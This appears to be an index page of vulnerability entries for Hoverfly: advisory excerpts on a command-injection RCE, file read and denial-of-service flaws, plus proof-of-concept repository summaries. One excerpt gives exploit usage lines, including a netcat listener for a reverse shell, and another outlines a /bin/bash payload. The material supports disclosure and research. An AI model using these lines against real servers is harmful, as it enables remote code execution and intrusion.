hoverfly

Simulaciones de API para desarrollo y pruebas Hoverfly es una herramienta de simulación de API ligera y de código abierto. Con Hoverfly, puedes crear simulaciones realistas de las APIs de las que depende tu aplicación. Reemplaza dependencias de API lentas e inestables con simulaciones realistas y...

CVE-2025-54123-Poc

CVE-2025-54123 Exploit Hoverfly Authenticated Middleware Command Injection RCE | CVSS 9.8 CRITICAL Vulnerability Hoverfly = 1.11.3 is vulnerable to authenticated command injection through the /api/v2/hoverfly/middleware endpoint. Admin credentials are required, but once authenticated, the...

Hoverfly < 1.10.3 - Arbitrary File Read

Hoverfly is a lightweight service virtualization/ API simulation / API mocking tool for developers and testers. The /api/v2/simulation POST handler allows users to create new simulation views from the contents of a user-specified file. This feature can be abused by an attacker to read arbitrary...

Hoverfly-1.11.3-RCE-CVE-2025-54123-Exploit

CVE-2025-54123 — Hoverfly Middleware API Remote Code Execution Authenticated RCE via OS Command Injection in Hoverfly ≤ 1.11.3 Vulnerability Overview...

devarea

DevArea — HackTheBox Platform: HackTheBox OS: Linux Status: Retired — full walkthrough published. Full walkthrough: l3dsec.com/walkthroughs/devarea-htb Attack Chain root@kitploit: nmap → 21 FTP anon + 80 + 8080 Jetty + 8888 Hoverfly → FTP anon → employee-service.jar Apache CXF, pre-3.5.5 →...

CVE-2025-54123

CVE-2025-54123 概要 HoverFly のミドルウェア API エンドポイントにおける、入力検証の不備と安全でないコマンド実行による認証済みリモートコード実行（RCE）。 攻撃フロー 1. 認証 攻撃者は有効な認証情報またはセッショントークンを使用して HoverFly に認証する /api/token-auth エンドポイント経由で Bearer トークンを取得する 2. 悪意のあるペイロードの作成 攻撃者は以下の内容を含む JSON ペイロードを構築する: binary: /bin/bash（ユーザー制御） script: 任意のシェルコマンド（例:...

CVE-2026-50013

Hoverfly is an open source API simulation tool. Prior to version 1.12.8, when Hoverfly is running in Diff mode, the AddDiff function writes to the shared responsesDiff map without any synchronization no mutex. When multiple proxy requests are processed concurrently the normal case for any proxy,...

CVE-2026-50018

Hoverfly is an open source API simulation tool. Prior to version 1.12.8, remote post-serve actions use http.DefaultClient without any timeout configuration. When the remote endpoint is unreachable or intentionally slow accepts TCP connection but never responds, each triggered proxy request spawns...

CVE-2026-50018

Hoverfly (open source API simulation tool) prior to version 1.12.8 is vulnerable to denial of service via a goroutine leak in its remote post-serve actions . The root cause is the use of http.DefaultClient without any timeout configuration: when the remote endpoint is unreachable or intentionally...

CVE-2026-50018 Hoverfly: Denial of Service via Goroutine Leak in Remote Post-Serve Actions

Hoverfly is an open source API simulation tool. Prior to version 1.12.8, remote post-serve actions use http.DefaultClient without any timeout configuration. When the remote endpoint is unreachable or intentionally slow accepts TCP connection but never responds, each triggered proxy request spawns...

CVE-2026-50018 Hoverfly: Denial of Service via Goroutine Leak in Remote Post-Serve Actions

Hoverfly is an open source API simulation tool. Prior to version 1.12.8, remote post-serve actions use http.DefaultClient without any timeout configuration. When the remote endpoint is unreachable or intentionally slow accepts TCP connection but never responds, each triggered proxy request spawns...

CVE-2026-50013 Hoverfly: Process Crash via Concurrent Map Write Race Condition in Diff Mode

Hoverfly is an open source API simulation tool. Prior to version 1.12.8, when Hoverfly is running in Diff mode, the AddDiff function writes to the shared responsesDiff map without any synchronization no mutex. When multiple proxy requests are processed concurrently the normal case for any proxy,...

CVE-2026-50013 Hoverfly: Process Crash via Concurrent Map Write Race Condition in Diff Mode

Hoverfly is an open source API simulation tool. Prior to version 1.12.8, when Hoverfly is running in Diff mode, the AddDiff function writes to the shared responsesDiff map without any synchronization no mutex. When multiple proxy requests are processed concurrently the normal case for any proxy,...

CVE-2026-50013

Hoverfly (an open-source API simulation/proxy tool by SpectoLabs) is affected by an unsynchronized concurrent map write in its Diff mode . Prior to version 1.12.8 , the AddDiff() function writes to the shared responsesDiff map without a mutex. Because Hoverfly processes proxy requests concurrentl...

CVE-2025-54123

CVE-2025-54123 Hoverfly CVE RCE Usage Command execution: root@kitploit: python3 CVE-2025-54123.py -u $USER -p $PASS -t "http://example.com:8888" -c whoami Reverse Shell: root@kitploit: nc -lvnp 443 root@kitploit: python3 CVE-2025-54123.py -u $USER -p $PASS -t "http://example.com:8888" -r $IP 443...

CVE-2025-54123

CVE-2025-54123 - Hoverfly Command Injection RCE PoC CVE-2025-54123 - Middleware Command Injection in Hoverfly 📌 CVE Details ID : CVE-2025-54123 Type : Command Injection / Remote Code Execution RCE Vendor : Hoverfly Impact : Allows authenticated attackers to execute arbitrary system commands via t...

CVE-2025-54123

CVE-2025-54123 Hoverfly Command Injection to RCE PoC Overview This repository contains a Python proof-of-concept PoC script for interacting with Hoverfly instances affected by CVE-2025-54123. The script supports: Authentication using username/password credentials Authentication using an existing...

GO-2026-5977 Hoverfly: Process Crash via Concurrent Map Write Race Condition in Diff Mode in github.com/SpectoLabs/hoverfly

Hoverfly: Process Crash via Concurrent Map Write Race Condition in Diff Mode in github.com/SpectoLabs/hoverfly...

GO-2026-5975 Hoverfly: Denial of Service via Goroutine Leak in Remote Post-Serve Actions in github.com/SpectoLabs/hoverfly

Hoverfly: Denial of Service via Goroutine Leak in Remote Post-Serve Actions in github.com/SpectoLabs/hoverfly...

Uncontrolled Resource Consumption

github.com/spectolabs/hoverfly is vulnerable to Uncontrolled Resource Consumption Denial of Service. The vulnerability is due to the use of http.DefaultClient without a configured timeout for remote post-serve actions, which allows an attacker to trigger requests to a non-responsive endpoint,...